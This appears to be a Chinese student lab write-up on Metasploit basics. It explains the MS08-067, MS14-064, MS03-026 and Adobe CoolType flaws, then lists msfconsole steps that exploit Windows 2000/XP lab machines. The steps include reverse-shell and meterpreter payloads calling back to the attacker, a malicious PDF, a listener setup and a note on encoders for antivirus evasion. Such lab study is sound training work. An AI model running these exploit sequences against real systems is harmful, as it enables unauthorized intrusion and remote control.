ZMichael 2020-04-25
MSF基础应用 ,掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。
攻击原理 MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
源码分析 MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize
函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
漏洞描述 Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。
漏洞原理 通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。
漏洞描述 此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的×××实例,利用此漏洞的蠕虫也大量出现。
漏洞原理 微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
msfconsole
进入控制台search 漏洞名
查找相应模块show payloads
查看相关载荷set payload generic/shell_reverse_tcp
选择载荷show options
查看相关参数set RHOST 192.168.186.137//靶机IP set LPORT 5313 set LHOST 192.168.186.128//攻击机IP set target 0
msfconsole//进入控制台 search portscan //搜索端口 use auxiliary/scanner/portscan/tcp //使用漏洞模块 set RHOSTS 192.168.186.137 //设置靶机地址 exploit //攻击
exploit
侦听靶机:Microsoft Windows 2000(192.168.186.138)
攻击机:kali(192.168.186.128)
use exploit/windows/smb/ms08_067_netapi //选择攻击模块 set payload generic/shell_reverse_tcp //选择攻击载荷 show options //查看配置信息 set RHOST 192.168.186.138 //设置靶机IP,端口默认为445 set LPORT 5313 set LHOST 192.168.186.128 //设置攻方IP set target 1 //这里为WIN SERVER2000(可通过“show targets”查看可攻击的平台) exploit
ipconfig
验证是否回连正确靶机:Microsoft Windows XP(192.168.186.137)
攻击机:kali(192.168.186.128)
msfconsole use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块 show payloads //显示可用攻击载荷 set payload windows/meterpreter/reverse_tcp set SRVHOST 192.168.186.128 //设置攻击机IP set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效 set LHOST 192.168.186.128 set LPORT 5313 set target 0 //设置winXP靶机 exploit
sessions -i 1
获取第一个会话连接,并输入ipconfig
验证是否为靶机地址靶机:Microsoft Windows XP(192.168.186.137)
攻击机:kali(192.168.186.128)
msfconsole use windows/fileformat/adobe_cooltype_sing //选择攻击模块 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.186.128 //攻击机 IP set LPORT 5313 set FILENAME zlx5313.pdf //设置生成的pdf文件名 exploit //发起攻击
cd /home/kali/.msf4/local
,输入cp zlx5313.pdf /home/kali/Desktop
将生成的zlx5313.pdf复制到桌面,然后在拖到主机WIN10上,再从WIN10拖到靶机WIN XP上。(为什么不直接通过nc传给XP,后面遇到的问题中会提到)back
退出当前模块,输入以下命令进入监听模块:use exploit/multi/handler //进入监听模块 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.186.128 //攻击机 IP set LPORT 5313 exploit
ipconfig
确认是否回连正确靶机:Microsoft Windows 2000/XP(192.168.186.138/137)
攻击机:kali(192.168.186.128)
msfconsole use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块 show target //查看适用范围 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.186.128 //攻击机 IP set LPORT 5313 set RHOST 192.168.186.137/138 //XP/2000 set RPORT 5313 run
exploit failed
/usr/share/metasploit-framework/modules/encoders
文件夹下的内容,我认为encode就是通过改变shellcode的编码格式来对攻击代码进行伪装,使其能正常运行并尽量免杀。